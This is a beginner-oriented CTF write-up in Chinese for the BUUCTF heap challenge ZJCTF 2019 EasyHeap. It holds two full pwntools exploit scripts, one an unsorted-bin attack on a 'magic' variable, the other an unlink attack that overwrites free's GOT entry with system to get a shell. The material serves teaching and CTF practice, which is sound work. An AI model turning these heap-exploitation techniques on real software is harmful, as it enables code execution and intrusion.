pwn入门堆题[ZJCTF 2019]EasyHeap

buuctf上一道简单的堆题wp,希望对新手有帮助(虽然我也只是刚学不久的新手啦QAQ),非常简单的利用方式,比uaf还简单(看wp前建议去wiki了解一下unsortedbin的相关知识)


 

漏洞:改一个变量值(magic),大于4869就能进入后门,unsortedbin攻击。此外,edit中对输入大小没有限制。

695936724fa64697a1beb41697ad28e2.png

 

利用方式:释放一个chunk到unsortedbin,修改其bk指针指向一个伪造的fake_chunk(magic-0x10),再申请该chunk可修改fake的数值为一个较大的值

 

原理:这里暂不赘述(wiki有详细的),只说说关键的:

1.unsortedbin中只有一个chunk时,该chunk的fd和bk指针指向main_arena+88(很大的值,反正比4869大)。

2.为什么fake_chunk是magic-0x10,要明确我们伪造的是chunk,而magic的所处位置要求是fd指针(或bk,那样就减0x18)。

 

最后脚本如下

from pwn import *
from LibcSearcher import *
p=remote("node5.buuoj.cn",27986)
#p=process("./pwn")

context(os = "linux", arch = "amd64", log_level= "debug")
#context(os = "linux", arch = "i386", log_level= "debug")

elf = ELF("./pwn")
#libc = ELF("./libc-2.23.so")

def menu(idx):
	p.recvuntil("Your choice :")
	p.sendline(str(idx))

def add(size, content):
	menu(1)
	p.sendlineafter("Size of Heap : ", str(size))
	p.sendlineafter("Content of heap:", content)	

def edit(idx, size, content):
	menu(2)
	p.sendlineafter("Index :", str(idx))
	p.sendlineafter("Size of Heap : ", str(size))
	p.sendlineafter("Content of heap : ", content)

def free(idx):
	menu(3)
	p.sendlineafter("Index :", str(idx))

magic = 0x6020C0

add(0x10,'aaa')
add(0x80,'aaa')
add(0x80, 'aaa')

free(1)
payload=b'a'*0x10+p64(0x20)+p64(0x91)+p64(0)+p64(magic-0x10)
#payload内容分别为:c0的申请部分,c1的pre_size,chunk1的size,chunk1的fd位,还有最后的fakechunk
edit(0, len(payload), payload)

add(0x80,'aaa')


menu(4869)

p.interactive()

然而,问题并没有结束,buu上的服务器中flag貌似和后门中的flag位置不一样,o(╥﹏╥)o。

48913ba571364eada4c6fbde657fd3e1.png

不知道是buu故意的还是弄错了,不过也能过,这里就是另一个知识点了,unlink漏洞,新手可以先不管,本文重点是unsortedbin攻击,这里就直接贴unlink的脚本了

from pwn import *
from LibcSearcher import *
p=remote("node5.buuoj.cn",27156)
#p=process("./pwn")

context(os = "linux", arch = "amd64", log_level= "debug")
#context(os = "linux", arch = "i386", log_level= "debug")

elf = ELF("./pwn")
#libc = ELF("./libc-2.23.so")

def menu(idx):
	p.recvuntil("Your choice :")
	p.sendline(str(idx))

def add(size, content):
	menu(1)
	p.sendlineafter("Size of Heap : ", str(size))
	p.sendlineafter("Content of heap:", content)	

def edit(idx, size, content):
	menu(2)
	p.sendlineafter("Index :", str(idx))
	p.sendlineafter("Size of Heap : ", str(size))
	p.sendlineafter("Content of heap : ", content)

def free(idx):
	menu(3)
	p.sendlineafter("Index :", str(idx))

add(0x20, 'aaa')
add(0x80, 'aaa')
add(0x10, 'sh\x00')

fd = 0x6020E0-0x18
bk = 0x6020E0-0x10
payload = p64(0)+p64(0x21)+p64(fd)+p64(bk)+p64(0x20)+p64(0x90)
edit(0, len(payload), payload)
free(1)

add(0x20, 'aaa')

payload = b'a'*0x18+p64(fd)+p64(elf.got['free'])
edit(0, len(payload), payload)

payload = p64(elf.plt['system'])
edit(1, len(payload), payload)

free(2)

p.interactive()

 

 

  • 14
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值